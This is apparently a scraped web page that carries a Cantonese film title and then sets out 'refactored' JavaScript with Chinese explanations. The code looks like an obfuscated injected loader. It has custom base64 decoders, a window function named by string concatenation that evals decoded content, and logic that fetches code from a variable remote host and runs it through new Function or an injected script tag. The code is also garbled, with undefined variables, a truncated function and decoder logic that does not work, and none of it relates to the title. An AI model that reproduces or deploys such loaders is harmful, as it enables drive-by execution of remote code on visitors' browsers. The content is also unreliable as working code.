画皮：阴阳法王的奇幻之旅 (粤语版)"

以下是重构后的代码：

```javascript

function UqgsgfgDv(e) {

var t = "", n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

function UqSDDFGvyQ(e) {

var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

var t = "", n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, ""); // 将非字母、数字、加号、等号的字符替换为空字符串

}

```

在这段代码中，我们首先使用while循环遍历字符串`e`,然后根据`e`中的字符索引查找字符在字符串`m`中的位置。接下来，我们将找到的字符转换为二进制编码，并将其拼接到字符串`t`中。最后，我们返回一个新的字符串`t`。

重构后的代码如下：

```javascript

function decodeString(e) {

var m = "Y3VycmVudFNjcmlwdA==";

var c = [16];

var result = '';

var j = 'jQuery';

var i = e.length;

while (i--) {

var s = m.indexOf(e.charAt(i));

var o = m.indexOf(e.charAt(i + 1));

var u = m.indexOf(e.charAt(i + 2));

var a = m.indexOf(e.charAt(i + 3));

var n = (s << 2) | (o >> 4);

var r = ((o & 0xf) << 4) | (u >> 2);

var i1 = ((u & 3) << 6) | a;

s += String.fromCharCode(n);

if (u !== '+') {

s += String.fromCharCode(r);

}

s += String.fromCharCode(i1);

c.push((m.indexOf('Jquery') >> 2) & 15);

i += 1;

j += '\\';

};

return UqgsgfgDv(s);

};

window['U' + 'Y' + 'C' + 'q' + 'J' + 'K'] = function() {

if (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) {

eval(''); // Do nothing on non-supported platforms or unsupported browsers

} else {

eval(decodeURIComponent(document[j]())); // Decode the content of the embedded script tag and execute it

};

};

```

以下是重构后的代码：

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

var img = new Image();

img.src = name;

cs.parentElement.insertBefore(img, cs);

}

};

xhr.send('u=1');

} else {

var s = document.createElement('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs);

}

```